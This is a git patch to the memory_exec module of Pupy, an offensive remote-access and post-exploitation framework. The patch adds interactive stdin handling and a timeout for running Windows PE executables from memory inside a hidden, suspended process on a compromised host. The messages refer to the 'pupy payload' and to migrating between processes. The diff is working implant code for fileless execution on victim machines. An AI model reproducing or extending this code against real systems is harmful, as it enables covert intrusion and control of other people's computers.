From 8d0228b5d5fc5e8a03220384add4990713d5b8f1 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 29 Oct 2015 18:59:07 +0100 Subject: [PATCH] handling interactive stdin/stdout for memory_exec --- pupy/modules/memory_exec.py | 39 ++++++++++++++----- .../windows/all/pupwinutils/memexec.py | 2 +- 2 files changed, 30 insertions(+), 11 deletions(-) diff --git a/pupy/modules/memory_exec.py b/pupy/modules/memory_exec.py index 90380766..b32e1995 100644 --- a/pupy/modules/memory_exec.py +++ b/pupy/modules/memory_exec.py @@ -18,11 +18,14 @@ from pupylib.PupyCompleter import * from pupylib.utils.pe import get_pe_arch from pupylib.PupyErrors import PupyModuleError from pupylib.utils.rpyc_utils import redirected_stdio +import time __class_name__="MemoryExec" class MemoryExec(PupyModule): - """ execute a PE executable from memory """ + """ execute a PE executable from memory + The default behavior is to accept arguments and print stdout of the program once it exits or after timeout seconds + """ interactive=1 def __init__(self, *args, **kwargs): PupyModule.__init__(self,*args, **kwargs) @@ -32,7 +35,8 @@ class MemoryExec(PupyModule): self.arg_parser = PupyArgumentParser(prog="memory_exec", description=self.__doc__) self.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended') self.arg_parser.add_argument('--fork', action='store_true', help='fork and do not wait for the child program. stdout will not be retrieved', completer=path_completer) - #self.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interactive with the new process stdin/stdout') + self.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interact with the process stdin.') + self.arg_parser.add_argument('--timeout', metavar='', type=float, help='kill the program after seconds if it didn\'t exit on its own') self.arg_parser.add_argument('path', help='path to the exe', completer=path_completer) self.arg_parser.add_argument('args', nargs='*', help='optional arguments to pass to the exe') @@ -48,12 +52,15 @@ class MemoryExec(PupyModule): self.log(res) def run(self, args): - + if args.fork and args.interactive: + self.error("--fork and --interactive options can't be used together") + return + #check we are injecting from the good process arch: pe_arch=get_pe_arch(args.path) proc_arch=self.client.desc["proc_arch"] if pe_arch!=proc_arch: - self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or first migrate into a %s process"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch)) + self.error("%s is a %s PE and your pupy payload is a %s process. Please inject a %s PE or migrate into a %s process first"%(args.path, pe_arch, proc_arch, proc_arch, pe_arch)) return wait=True @@ -73,10 +80,22 @@ class MemoryExec(PupyModule): self.mp=self.client.conn.modules['pupwinutils.memexec'].MemoryPE(raw_pe, args=args.args, hidden=True, redirect_stdio=redirect_stdio) self.mp.run() if not args.fork: - with redirected_stdio(self.client.conn): - self.mp.get_shell() - self.mp.close() - #res=self.mp.get_stdout() - #self.log(res) - + if args.interactive: + try: + with redirected_stdio(self.client.conn): + self.mp.get_shell() + finally: + self.mp.close() + else: + starttime=time.time() + while True: + if self.mp.wait(1): + break + if args.timeout: + if time.time()-starttime>args.timeout: + break + self.mp.close() + res=self.mp.get_stdout() + self.log(res) + diff --git a/pupy/packages/windows/all/pupwinutils/memexec.py b/pupy/packages/windows/all/pupwinutils/memexec.py index acfdcc91..ba674ca7 100644 --- a/pupy/packages/windows/all/pupwinutils/memexec.py +++ b/pupy/packages/windows/all/pupwinutils/memexec.py @@ -83,7 +83,7 @@ class MemoryPE(object): if not self.hProcess: return "" #Closing the write handle to avoid lock: - ctypes.windll.kernel32.CloseHandle(self.rpStdout) + #ctypes.windll.kernel32.CloseHandle(self.rpStdout) fulldata=b"" while True: